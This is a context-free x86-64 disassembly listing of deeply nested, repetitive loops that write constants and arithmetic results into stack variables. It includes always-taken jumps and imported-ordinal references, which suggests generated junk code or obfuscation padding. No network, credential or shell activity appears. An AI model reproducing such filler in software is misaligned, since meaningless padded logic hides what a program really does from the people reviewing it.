mov dword [rsp + 0x50c], eax
mov eax, dword [rsp + 0x50c]
add eax, 4
mov dword [rsp + 0x50c], eax
cmp dword [rsp + 0x50c], 0x11
jne 0x140102501
mov dword [rsp + 0x123c], 0
jmp 0x1401021ef
mov eax, dword [rsp + 0x123c]
inc eax
mov dword [rsp + 0x123c], eax
cmp dword [rsp + 0x123c], 5
jge 0x14010235a
mov dword [rsp + 0x1240], 0x2a
mov dword [rsp + 0xbb0], 0
jmp 0x140102225
mov eax, dword [rsp + 0xbb0]
inc eax
mov dword [rsp + 0xbb0], eax
cmp dword [rsp + 0xbb0], 4
jge 0x1401022d4
mov eax, dword [rsp + 0xbb0]
add eax, 2
mov dword [rsp + 0x504], eax
mov eax, dword [rsp + 0x504]
inc eax
mov dword [rsp + 0x504], eax
cmp dword [rsp + 0x504], 7
jne 0x1401022c1
mov dword [rsp + 0x10c], Ordinal_79
cmp dword [rsp + 0x10c], 0
jle 0x1401022a3
mov eax, dword [rsp + 0x10c]
sub eax, 5
mov dword [rsp + 0x10c], eax
cmp dword [rsp + 0x10c], 0xa
jne 0x1401022a1
mov eax, dword [rsp + 0x10c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x10c], eax
jmp 0x140102269
mov eax, dword [rsp + 0x504]
imul eax, dword [rsp + 0x1240]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1aac], eax
cmp dword [rsp + 0x504], 0xb
jl 0x140102244
jmp 0x140102215
cmp dword [rsp + 0x1240], 0x14
jle 0x140102355
mov eax, dword [rsp + 0x1240]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1244], eax
mov dword [rsp + 0x110], Ordinal_79
cmp dword [rsp + 0x110], 0
jle 0x14010233a
mov eax, dword [rsp + 0x110]
sub eax, 5
mov dword [rsp + 0x110], eax
cmp dword [rsp + 0x110], 0xa
jne 0x140102338
mov eax, dword [rsp + 0x110]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x110], eax
jmp 0x140102300
mov eax, dword [rsp + 0x1244]
sub eax, 2
mov dword [rsp + 0x1244], eax
cmp dword [rsp + 0x1244], 0
jg 0x1401022f5
jmp 0x1401021df
mov eax, dword [rsp + 0x50c]
imul eax, dword [rsp + 0x1254]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1ab0], eax
mov dword [rsp + 0x1248], 0
jmp 0x140102396
mov eax, dword [rsp + 0x1248]
inc eax
mov dword [rsp + 0x1248], eax
cmp dword [rsp + 0x1248], 5
jge 0x140102501
mov dword [rsp + 0x124c], 0x2a
mov dword [rsp + 0xbb4], 0
jmp 0x1401023cc
mov eax, dword [rsp + 0xbb4]
inc eax
mov dword [rsp + 0xbb4], eax
cmp dword [rsp + 0xbb4], 4
jge 0x14010247b
mov eax, dword [rsp + 0xbb4]
add eax, 2
mov dword [rsp + 0x508], eax
mov eax, dword [rsp + 0x508]
inc eax
mov dword [rsp + 0x508], eax
cmp dword [rsp + 0x508], 7
jne 0x140102468
mov dword [rsp + 0x114], Ordinal_79
cmp dword [rsp + 0x114], 0
jle 0x14010244a
mov eax, dword [rsp + 0x114]
sub eax, 5
mov dword [rsp + 0x114], eax
cmp dword [rsp + 0x114], 0xa
jne 0x140102448
mov eax, dword [rsp + 0x114]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x114], eax
jmp 0x140102410
mov eax, dword [rsp + 0x508]
imul eax, dword [rsp + 0x124c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1ab4], eax
cmp dword [rsp + 0x508], 0xb
jl 0x1401023eb
jmp 0x1401023bc
cmp dword [rsp + 0x124c], 0x14
jle 0x1401024fc
mov eax, dword [rsp + 0x124c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1250], eax
mov dword [rsp + 0x118], Ordinal_79
cmp dword [rsp + 0x118], 0
jle 0x1401024e1
mov eax, dword [rsp + 0x118]
sub eax, 5
mov dword [rsp + 0x118], eax
cmp dword [rsp + 0x118], 0xa
jne 0x1401024df
mov eax, dword [rsp + 0x118]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x118], eax
jmp 0x1401024a7
mov eax, dword [rsp + 0x1250]
sub eax, 2
mov dword [rsp + 0x1250], eax
cmp dword [rsp + 0x1250], 0
jg 0x14010249c
jmp 0x140102386
cmp dword [rsp + 0x50c], 0x1c
jl 0x1401021b3
jmp 0x140102184
cmp dword [rsp + 0x1254], 0x1e
jle 0x1401026df
mov eax, dword [rsp + 0x1254]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0x1264], eax
mov dword [rsp + 0x1258], 0
jmp 0x140102555
mov eax, dword [rsp + 0x1258]
inc eax
mov dword [rsp + 0x1258], eax
cmp dword [rsp + 0x1258], 5
jge 0x1401026c0
mov dword [rsp + 0x125c], 0x2a
mov dword [rsp + 0xbb8], 0
jmp 0x14010258b
mov eax, dword [rsp + 0xbb8]
inc eax
mov dword [rsp + 0xbb8], eax
cmp dword [rsp + 0xbb8], 4
jge 0x14010263a
mov eax, dword [rsp + 0xbb8]
add eax, 2
mov dword [rsp + 0x510], eax
mov eax, dword [rsp + 0x510]
inc eax
mov dword [rsp + 0x510], eax
cmp dword [rsp + 0x510], 7
jne 0x140102627
mov dword [rsp + 0x11c], Ordinal_79
cmp dword [rsp + 0x11c], 0
jle 0x140102609
mov eax, dword [rsp + 0x11c]
sub eax, 5
mov dword [rsp + 0x11c], eax
cmp dword [rsp + 0x11c], 0xa
jne 0x140102607
mov eax, dword [rsp + 0x11c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11c], eax
jmp 0x1401025cf
mov eax, dword [rsp + 0x510]
imul eax, dword [rsp + 0x125c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1ab8], eax
cmp dword [rsp + 0x510], 0xb
jl 0x1401025aa
jmp 0x14010257b
cmp dword [rsp + 0x125c], 0x14
jle 0x1401026bb
mov eax, dword [rsp + 0x125c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1260], eax
mov dword [rsp + 0x120], Ordinal_79
cmp dword [rsp + 0x120], 0
jle 0x1401026a0
mov eax, dword [rsp + 0x120]
sub eax, 5
mov dword [rsp + 0x120], eax
cmp dword [rsp + 0x120], 0xa
jne 0x14010269e
mov eax, dword [rsp + 0x120]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x120], eax
jmp 0x140102666
mov eax, dword [rsp + 0x1260]
sub eax, 2
mov dword [rsp + 0x1260], eax
cmp dword [rsp + 0x1260], 0
jg 0x14010265b
jmp 0x140102545
mov eax, dword [rsp + 0x1264]
sub eax, 2
mov dword [rsp + 0x1264], eax
cmp dword [rsp + 0x1264], 0
jg 0x140102538
mov dword [rsp + 0x1268], 0
jmp 0x1401026fc
mov eax, dword [rsp + 0x1268]
inc eax
mov dword [rsp + 0x1268], eax
cmp dword [rsp + 0x1268], 5
jge 0x140102867
mov dword [rsp + 0x126c], 0x2a
mov dword [rsp + 0xbbc], 0
jmp 0x140102732
mov eax, dword [rsp + 0xbbc]
inc eax
mov dword [rsp + 0xbbc], eax
cmp dword [rsp + 0xbbc], 4
jge 0x1401027e1
mov eax, dword [rsp + 0xbbc]
add eax, 2
mov dword [rsp + 0x514], eax
mov eax, dword [rsp + 0x514]
inc eax
mov dword [rsp + 0x514], eax
cmp dword [rsp + 0x514], 7
jne 0x1401027ce
mov dword [rsp + 0x124], Ordinal_79
cmp dword [rsp + 0x124], 0
jle 0x1401027b0
mov eax, dword [rsp + 0x124]
sub eax, 5
mov dword [rsp + 0x124], eax
cmp dword [rsp + 0x124], 0xa
jne 0x1401027ae
mov eax, dword [rsp + 0x124]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x124], eax
jmp 0x140102776
mov eax, dword [rsp + 0x514]
imul eax, dword [rsp + 0x126c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1abc], eax
cmp dword [rsp + 0x514], 0xb
jl 0x140102751
jmp 0x140102722
cmp dword [rsp + 0x126c], 0x14
jle 0x140102862
mov eax, dword [rsp + 0x126c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1270], eax
mov dword [rsp + 0x128], Ordinal_79
cmp dword [rsp + 0x128], 0
jle 0x140102847
mov eax, dword [rsp + 0x128]
sub eax, 5
mov dword [rsp + 0x128], eax
cmp dword [rsp + 0x128], 0xa
jne 0x140102845
mov eax, dword [rsp + 0x128]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x128], eax
jmp 0x14010280d
mov eax, dword [rsp + 0x1270]
sub eax, 2
mov dword [rsp + 0x1270], eax
cmp dword [rsp + 0x1270], 0
jg 0x140102802
jmp 0x1401026ec
jmp 0x14010214e
jmp 0x140102f9a
mov dword [rsp + 0x1274], 0
jmp 0x14010288e
mov eax, dword [rsp + 0x1274]
inc eax
mov dword [rsp + 0x1274], eax
cmp dword [rsp + 0x1274], 5
jge 0x140102f9a
mov dword [rsp + 0x1290], 0x34
mov dword [rsp + 0xbc0], 0
jmp 0x1401028c4
mov eax, dword [rsp + 0xbc0]
inc eax
mov dword [rsp + 0xbc0], eax
cmp dword [rsp + 0xbc0], 7
jge 0x140102c43
mov eax, dword [rsp + 0xbc0]
add eax, 4
mov dword [rsp + 0x520], eax
mov eax, dword [rsp + 0x520]
add eax, 3
mov dword [rsp + 0x520], eax
cmp dword [rsp + 0x520], 0x10
jne 0x140102c30
mov dword [rsp + 0x1278], 0
jmp 0x14010291f
mov eax, dword [rsp + 0x1278]
inc eax
mov dword [rsp + 0x1278], eax
cmp dword [rsp + 0x1278], 5
jge 0x140102a8a
mov dword [rsp + 0x127c], 0x2a
mov dword [rsp + 0xbc4], 0
jmp 0x140102955
mov eax, dword [rsp + 0xbc4]
inc eax
mov dword [rsp + 0xbc4], eax
cmp dword [rsp + 0xbc4], 4
jge 0x140102a04
mov eax, dword [rsp + 0xbc4]
add eax, 2
mov dword [rsp + 0x518], eax
mov eax, dword [rsp + 0x518]
inc eax
mov dword [rsp + 0x518], eax
cmp dword [rsp + 0x518], 7
jne 0x1401029f1
mov dword [rsp + 0x12c], Ordinal_79
cmp dword [rsp + 0x12c], 0
jle 0x1401029d3
mov eax, dword [rsp + 0x12c]
sub eax, 5
mov dword [rsp + 0x12c], eax
cmp dword [rsp + 0x12c], 0xa
jne 0x1401029d1
mov eax, dword [rsp + 0x12c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12c], eax
jmp 0x140102999
mov eax, dword [rsp + 0x518]
imul eax, dword [rsp + 0x127c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1ac0], eax
cmp dword [rsp + 0x518], 0xb
jl 0x140102974
jmp 0x140102945
cmp dword [rsp + 0x127c], 0x14
jle 0x140102a85
mov eax, dword [rsp + 0x127c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1280], eax
mov dword [rsp + 0x130], Ordinal_79
cmp dword [rsp + 0x130], 0
jle 0x140102a6a
mov eax, dword [rsp + 0x130]
sub eax, 5
mov dword [rsp + 0x130], eax
cmp dword [rsp + 0x130], 0xa
jne 0x140102a68
mov eax, dword [rsp + 0x130]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x130], eax
jmp 0x140102a30
mov eax, dword [rsp + 0x1280]
sub eax, 2
mov dword [rsp + 0x1280], eax
cmp dword [rsp + 0x1280], 0
jg 0x140102a25
jmp 0x14010290f
mov eax, dword [rsp + 0x520]
imul eax, dword [rsp + 0x1290]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1ac4], eax
mov dword [rsp + 0x1284], 0
jmp 0x140102ac5
mov eax, dword [rsp + 0x1284]
inc eax
mov dword [rsp + 0x1284], eax
cmp dword [rsp + 0x1284], 5
jge 0x140102c30
mov dword [rsp + 0x1288], 0x2a
mov dword [rsp + 0xbc8], 0
jmp 0x140102afb
mov eax, dword [rsp + 0xbc8]
inc eax
mov dword [rsp + 0xbc8], eax
cmp dword [rsp + 0xbc8], 4
jge 0x140102baa
mov eax, dword [rsp + 0xbc8]
add eax, 2
mov dword [rsp + 0x51c], eax
mov eax, dword [rsp + 0x51c]
inc eax
mov dword [rsp + 0x51c], eax
cmp dword [rsp + 0x51c], 7
jne 0x140102b97
mov dword [rsp + 0x134], Ordinal_79
cmp dword [rsp + 0x134], 0
jle 0x140102b79
mov eax, dword [rsp + 0x134]
sub eax, 5
mov dword [rsp + 0x134], eax
cmp dword [rsp + 0x134], 0xa
jne 0x140102b77
mov eax, dword [rsp + 0x134]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x134], eax
jmp 0x140102b3f
mov eax, dword [rsp + 0x51c]
imul eax, dword [rsp + 0x1288]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1ac8], eax
cmp dword [rsp + 0x51c], 0xb
jl 0x140102b1a
jmp 0x140102aeb
cmp dword [rsp + 0x1288], 0x14
jle 0x140102c2b
mov eax, dword [rsp + 0x1288]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x128c], eax
mov dword [rsp + 0x138], Ordinal_79
cmp dword [rsp + 0x138], 0
jle 0x140102c10
mov eax, dword [rsp + 0x138]
sub eax, 5
mov dword [rsp + 0x138], eax
cmp dword [rsp + 0x138], 0xa
jne 0x140102c0e
mov eax, dword [rsp + 0x138]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x138], eax
jmp 0x140102bd6
mov eax, dword [rsp + 0x128c]
sub eax, 2
mov dword [rsp + 0x128c], eax
cmp dword [rsp + 0x128c], 0
jg 0x140102bcb
jmp 0x140102ab5
cmp dword [rsp + 0x520], 0x1b
jl 0x1401028e3
jmp 0x1401028b4
cmp dword [rsp + 0x1290], 0x19
jle 0x140102e0d
mov eax, dword [rsp + 0x1290]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x12a0], eax
mov dword [rsp + 0x1294], 0
jmp 0x140102c84
mov eax, dword [rsp + 0x1294]
inc eax
mov dword [rsp + 0x1294], eax
cmp dword [rsp + 0x1294], 5
jge 0x140102def
mov dword [rsp + 0x1298], 0x2a
mov dword [rsp + 0xbcc], 0
jmp 0x140102cba
mov eax, dword [rsp + 0xbcc]
inc eax
mov dword [rsp + 0xbcc], eax
cmp dword [rsp + 0xbcc], 4
jge 0x140102d69
mov eax, dword [rsp + 0xbcc]
add eax, 2
mov dword [rsp + 0x524], eax
mov eax, dword [rsp + 0x524]
inc eax
mov dword [rsp + 0x524], eax
cmp dword [rsp + 0x524], 7
jne 0x140102d56
mov dword [rsp + 0x13c], Ordinal_79
cmp dword [rsp + 0x13c], 0
jle 0x140102d38
mov eax, dword [rsp + 0x13c]
sub eax, 5
mov dword [rsp + 0x13c], eax
cmp dword [rsp + 0x13c], 0xa
jne 0x140102d36
mov eax, dword [rsp + 0x13c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x13c], eax
jmp 0x140102cfe
mov eax, dword [rsp + 0x524]
imul eax, dword [rsp + 0x1298]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1acc], eax
cmp dword [rsp + 0x524], 0xb
jl 0x140102cd9
jmp 0x140102caa
cmp dword [rsp + 0x1298], 0x14
jle 0x140102dea
mov eax, dword [rsp + 0x1298]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x129c], eax
mov dword [rsp + 0x140], Ordinal_79
cmp dword [rsp + 0x140], 0
jle 0x140102dcf
mov eax, dword [rsp + 0x140]
sub eax, 5
mov dword [rsp + 0x140], eax
cmp dword [rsp + 0x140], 0xa
jne 0x140102dcd
mov eax, dword [rsp + 0x140]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x140], eax
jmp 0x140102d95
mov eax, dword [rsp + 0x129c]
sub eax, 2
mov dword [rsp + 0x129c], eax
cmp dword [rsp + 0x129c], 0
jg 0x140102d8a
jmp 0x140102c74
mov eax, dword [rsp + 0x12a0]
dec eax
mov dword [rsp + 0x12a0], eax
cmp dword [rsp + 0x12a0], 0
jg 0x140102c67
mov dword [rsp + 0x12a4], 0
jmp 0x140102e2a
mov eax, dword [rsp + 0x12a4]
inc eax
mov dword [rsp + 0x12a4], eax
cmp dword [rsp + 0x12a4], 5
jge 0x140102f95
mov dword [rsp + 0x12a8], 0x2a
mov dword [rsp + 0xbd0], 0
jmp 0x140102e60
mov eax, dword [rsp + 0xbd0]
inc eax
mov dword [rsp + 0xbd0], eax
cmp dword [rsp + 0xbd0], 4
jge 0x140102f0f
mov eax, dword [rsp + 0xbd0]
add eax, 2
mov dword [rsp + 0x528], eax
mov eax, dword [rsp + 0x528]
inc eax
mov dword [rsp + 0x528], eax
cmp dword [rsp + 0x528], 7
jne 0x140102efc
mov dword [rsp + 0x144], Ordinal_79
cmp dword [rsp + 0x144], 0
jle 0x140102ede
mov eax, dword [rsp + 0x144]
sub eax, 5
mov dword [rsp + 0x144], eax
cmp dword [rsp + 0x144], 0xa
jne 0x140102edc
mov eax, dword [rsp + 0x144]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x144], eax
jmp 0x140102ea4
mov eax, dword [rsp + 0x528]
imul eax, dword [rsp + 0x12a8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1ad0], eax
cmp dword [rsp + 0x528], 0xb
jl 0x140102e7f
jmp 0x140102e50
cmp dword [rsp + 0x12a8], 0x14
jle 0x140102f90
mov eax, dword [rsp + 0x12a8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x12ac], eax
mov dword [rsp + 0x148], Ordinal_79
cmp dword [rsp + 0x148], 0
jle 0x140102f75
mov eax, dword [rsp + 0x148]
sub eax, 5
mov dword [rsp + 0x148], eax
cmp dword [rsp + 0x148], 0xa
jne 0x140102f73
mov eax, dword [rsp + 0x148]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x148], eax
jmp 0x140102f3b
mov eax, dword [rsp + 0x12ac]
sub eax, 2
mov dword [rsp + 0x12ac], eax
cmp dword [rsp + 0x12ac], 0
jg 0x140102f30
jmp 0x140102e1a
jmp 0x14010287e
xor eax, eax
test eax, eax
je 0x1401040f6
xor eax, eax
test eax, eax
je 0x140103852
mov dword [rsp + 0x12b0], 0
jmp 0x140102fcb
mov eax, dword [rsp + 0x12b0]
inc eax
mov dword [rsp + 0x12b0], eax
cmp dword [rsp + 0x12b0], 5
jge 0x14010384d
mov dword [rsp + 0x12cc], 0x3f
mov dword [rsp + 0xbd4], 0
jmp 0x140103001
mov eax, dword [rsp + 0xbd4]
inc eax
mov dword [rsp + 0xbd4], eax
cmp dword [rsp + 0xbd4], 9
jge 0x140103439
mov eax, dword [rsp + 0xbd4]
add eax, 7
mov dword [rsp + 0x544], eax
mov eax, dword [rsp + 0x544]
add eax, 4
mov dword [rsp + 0x544], eax
cmp dword [rsp + 0x544], 0x15
jne 0x140103426
mov dword [rsp + 0x12b4], 0
jmp 0x14010305c
mov eax, dword [rsp + 0x12b4]
inc eax
mov dword [rsp + 0x12b4], eax
cmp dword [rsp + 0x12b4], 5
jge 0x140103225
mov dword [rsp + 0x12b8], 0x11
mov dword [rsp + 0xbd8], 0
jmp 0x140103092
mov eax, dword [rsp + 0xbd8]
inc eax
mov dword [rsp + 0xbd8], eax
cmp dword [rsp + 0xbd8], 3
jge 0x14010316d
mov eax, dword [rsp + 0xbd8]
inc eax
mov dword [rsp + 0x530], eax
mov eax, dword [rsp + 0x530]
inc eax
mov dword [rsp + 0x530], eax
cmp dword [rsp + 0x530], 4
jne 0x14010315a
mov dword [rsp + 0x52c], 0xd
mov dword [rsp + 0xbdc], 0
jmp 0x1401030f6
mov eax, dword [rsp + 0xbdc]
inc eax
mov dword [rsp + 0xbdc], eax
cmp dword [rsp + 0xbdc], 4
jge 0x14010313f
mov eax, dword [rsp + 0xbdc]
mov ecx, dword [rsp + 0x52c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x52c], eax
mov eax, dword [rsp + 0x52c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010313d
imul eax, dword [rsp + 0x52c], 3
mov dword [rsp + 0x52c], eax
jmp 0x1401030e6
mov eax, dword [rsp + 0x530]
imul eax, dword [rsp + 0x12b8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ad4], eax
cmp dword [rsp + 0x530], 6
jl 0x1401030b0
jmp 0x140103082
cmp dword [rsp + 0x12b8], 0xa
jle 0x140103220
mov eax, dword [rsp + 0x12b8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12bc], eax
mov dword [rsp + 0x534], 0xd
mov dword [rsp + 0xbe0], 0
jmp 0x1401031b9
mov eax, dword [rsp + 0xbe0]
inc eax
mov dword [rsp + 0xbe0], eax
cmp dword [rsp + 0xbe0], 4
jge 0x140103202
mov eax, dword [rsp + 0xbe0]
mov ecx, dword [rsp + 0x534]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x534], eax
mov eax, dword [rsp + 0x534]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140103200
imul eax, dword [rsp + 0x534], 3
mov dword [rsp + 0x534], eax
jmp 0x1401031a9
mov eax, dword [rsp + 0x12bc]
dec eax
mov dword [rsp + 0x12bc], eax
cmp dword [rsp + 0x12bc], 0
jg 0x140103191
jmp 0x14010304c
mov eax, dword [rsp + 0x544]
imul eax, dword [rsp + 0x12cc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ad8], eax
mov dword [rsp + 0x12c0], 0
jmp 0x14010325d
mov eax, dword [rsp + 0x12c0]
inc eax
mov dword [rsp + 0x12c0], eax
cmp dword [rsp + 0x12c0], 5
jge 0x140103426
mov dword [rsp + 0x12c4], 0x11
mov dword [rsp + 0xbe4], 0
jmp 0x140103293
mov eax, dword [rsp + 0xbe4]
inc eax
mov dword [rsp + 0xbe4], eax
cmp dword [rsp + 0xbe4], 3
jge 0x14010336e
mov eax, dword [rsp + 0xbe4]
inc eax
mov dword [rsp + 0x53c], eax
mov eax, dword [rsp + 0x53c]
inc eax
mov dword [rsp + 0x53c], eax
cmp dword [rsp + 0x53c], 4
jne 0x14010335b
mov dword [rsp + 0x538], 0xd
mov dword [rsp + 0xbe8], 0
jmp 0x1401032f7
mov eax, dword [rsp + 0xbe8]
inc eax
mov dword [rsp + 0xbe8], eax
cmp dword [rsp + 0xbe8], 4
jge 0x140103340
mov eax, dword [rsp + 0xbe8]
mov ecx, dword [rsp + 0x538]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x538], eax
mov eax, dword [rsp + 0x538]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010333e
imul eax, dword [rsp + 0x538], 3
mov dword [rsp + 0x538], eax
jmp 0x1401032e7
mov eax, dword [rsp + 0x53c]
imul eax, dword [rsp + 0x12c4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1adc], eax
cmp dword [rsp + 0x53c], 6
jl 0x1401032b1
jmp 0x140103283
cmp dword [rsp + 0x12c4], 0xa
jle 0x140103421
mov eax, dword [rsp + 0x12c4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12c8], eax
mov dword [rsp + 0x540], 0xd
mov dword [rsp + 0xbec], 0
jmp 0x1401033ba
mov eax, dword [rsp + 0xbec]
inc eax
mov dword [rsp + 0xbec], eax
cmp dword [rsp + 0xbec], 4
jge 0x140103403
mov eax, dword [rsp + 0xbec]
mov ecx, dword [rsp + 0x540]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x540], eax
mov eax, dword [rsp + 0x540]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140103401
imul eax, dword [rsp + 0x540], 3
mov dword [rsp + 0x540], eax
jmp 0x1401033aa
mov eax, dword [rsp + 0x12c8]
dec eax
mov dword [rsp + 0x12c8], eax
cmp dword [rsp + 0x12c8], 0
jg 0x140103392
jmp 0x14010324d
cmp dword [rsp + 0x544], 0x23
jl 0x140103020
jmp 0x140102ff1
cmp dword [rsp + 0x12cc], 0x28
jle 0x140103662
mov eax, dword [rsp + 0x12cc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12dc], eax
mov dword [rsp + 0x12d0], 0
jmp 0x14010347a
mov eax, dword [rsp + 0x12d0]
inc eax
mov dword [rsp + 0x12d0], eax
cmp dword [rsp + 0x12d0], 5
jge 0x140103643
mov dword [rsp + 0x12d4], 0x11
mov dword [rsp + 0xbf0], 0
jmp 0x1401034b0
mov eax, dword [rsp + 0xbf0]
inc eax
mov dword [rsp + 0xbf0], eax
cmp dword [rsp + 0xbf0], 3
jge 0x14010358b
mov eax, dword [rsp + 0xbf0]
inc eax
mov dword [rsp + 0x54c], eax
mov eax, dword [rsp + 0x54c]
inc eax
mov dword [rsp + 0x54c], eax
cmp dword [rsp + 0x54c], 4
jne 0x140103578
mov dword [rsp + 0x548], 0xd
mov dword [rsp + 0xbf4], 0
jmp 0x140103514
mov eax, dword [rsp + 0xbf4]
inc eax
mov dword [rsp + 0xbf4], eax
cmp dword [rsp + 0xbf4], 4
jge 0x14010355d
mov eax, dword [rsp + 0xbf4]
mov ecx, dword [rsp + 0x548]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x548], eax
mov eax, dword [rsp + 0x548]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010355b
imul eax, dword [rsp + 0x548], 3
mov dword [rsp + 0x548], eax
jmp 0x140103504
mov eax, dword [rsp + 0x54c]
imul eax, dword [rsp + 0x12d4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ae0], eax
cmp dword [rsp + 0x54c], 6
jl 0x1401034ce
jmp 0x1401034a0
cmp dword [rsp + 0x12d4], 0xa
jle 0x14010363e
mov eax, dword [rsp + 0x12d4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12d8], eax
mov dword [rsp + 0x550], 0xd
mov dword [rsp + 0xbf8], 0
jmp 0x1401035d7
mov eax, dword [rsp + 0xbf8]
inc eax
mov dword [rsp + 0xbf8], eax
cmp dword [rsp + 0xbf8], 4
jge 0x140103620
mov eax, dword [rsp + 0xbf8]
mov ecx, dword [rsp + 0x550]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x550], eax
mov eax, dword [rsp + 0x550]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010361e
imul eax, dword [rsp + 0x550], 3
mov dword [rsp + 0x550], eax
jmp 0x1401035c7
mov eax, dword [rsp + 0x12d8]
dec eax
mov dword [rsp + 0x12d8], eax
cmp dword [rsp + 0x12d8], 0
jg 0x1401035af
jmp 0x14010346a
mov eax, dword [rsp + 0x12dc]
sub eax, 2
mov dword [rsp + 0x12dc], eax
cmp dword [rsp + 0x12dc], 0
jg 0x14010345d
mov dword [rsp + 0x12e0], 0
jmp 0x14010367f
mov eax, dword [rsp + 0x12e0]
inc eax
mov dword [rsp + 0x12e0], eax
cmp dword [rsp + 0x12e0], 5
jge 0x140103848
mov dword [rsp + 0x12e4], 0x11
mov dword [rsp + 0xbfc], 0
jmp 0x1401036b5
mov eax, dword [rsp + 0xbfc]
inc eax
mov dword [rsp + 0xbfc], eax
cmp dword [rsp + 0xbfc], 3
jge 0x140103790
mov eax, dword [rsp + 0xbfc]
inc eax
mov dword [rsp + 0x558], eax
mov eax, dword [rsp + 0x558]
inc eax
mov dword [rsp + 0x558], eax
cmp dword [rsp + 0x558], 4
jne 0x14010377d
mov dword [rsp + 0x554], 0xd
mov dword [rsp + 0xc00], 0
jmp 0x140103719
mov eax, dword [rsp + 0xc00]
inc eax
mov dword [rsp + 0xc00], eax
cmp dword [rsp + 0xc00], 4
jge 0x140103762
mov eax, dword [rsp + 0xc00]
mov ecx, dword [rsp + 0x554]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x554], eax
mov eax, dword [rsp + 0x554]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140103760
imul eax, dword [rsp + 0x554], 3
mov dword [rsp + 0x554], eax
jmp 0x140103709
mov eax, dword [rsp + 0x558]
imul eax, dword [rsp + 0x12e4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ae4], eax
cmp dword [rsp + 0x558], 6
jl 0x1401036d3
jmp 0x1401036a5
cmp dword [rsp + 0x12e4], 0xa
jle 0x140103843
mov eax, dword [rsp + 0x12e4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12e8], eax
mov dword [rsp + 0x55c], 0xd
mov dword [rsp + 0xc04], 0
jmp 0x1401037dc
mov eax, dword [rsp + 0xc04]
inc eax
mov dword [rsp + 0xc04], eax
cmp dword [rsp + 0xc04], 4
jge 0x140103825
mov eax, dword [rsp + 0xc04]
mov ecx, dword [rsp + 0x55c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x55c], eax
mov eax, dword [rsp + 0x55c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140103823
imul eax, dword [rsp + 0x55c], 3
mov dword [rsp + 0x55c], eax
jmp 0x1401037cc
mov eax, dword [rsp + 0x12e8]
dec eax
mov dword [rsp + 0x12e8], eax
cmp dword [rsp + 0x12e8], 0
jg 0x1401037b4
jmp 0x14010366f
jmp 0x140102fbb
jmp 0x1401040f6
mov dword [rsp + 0x12ec], 0
jmp 0x14010386f
mov eax, dword [rsp + 0x12ec]
inc eax
mov dword [rsp + 0x12ec], eax
cmp dword [rsp + 0x12ec], 5
jge 0x1401040f6
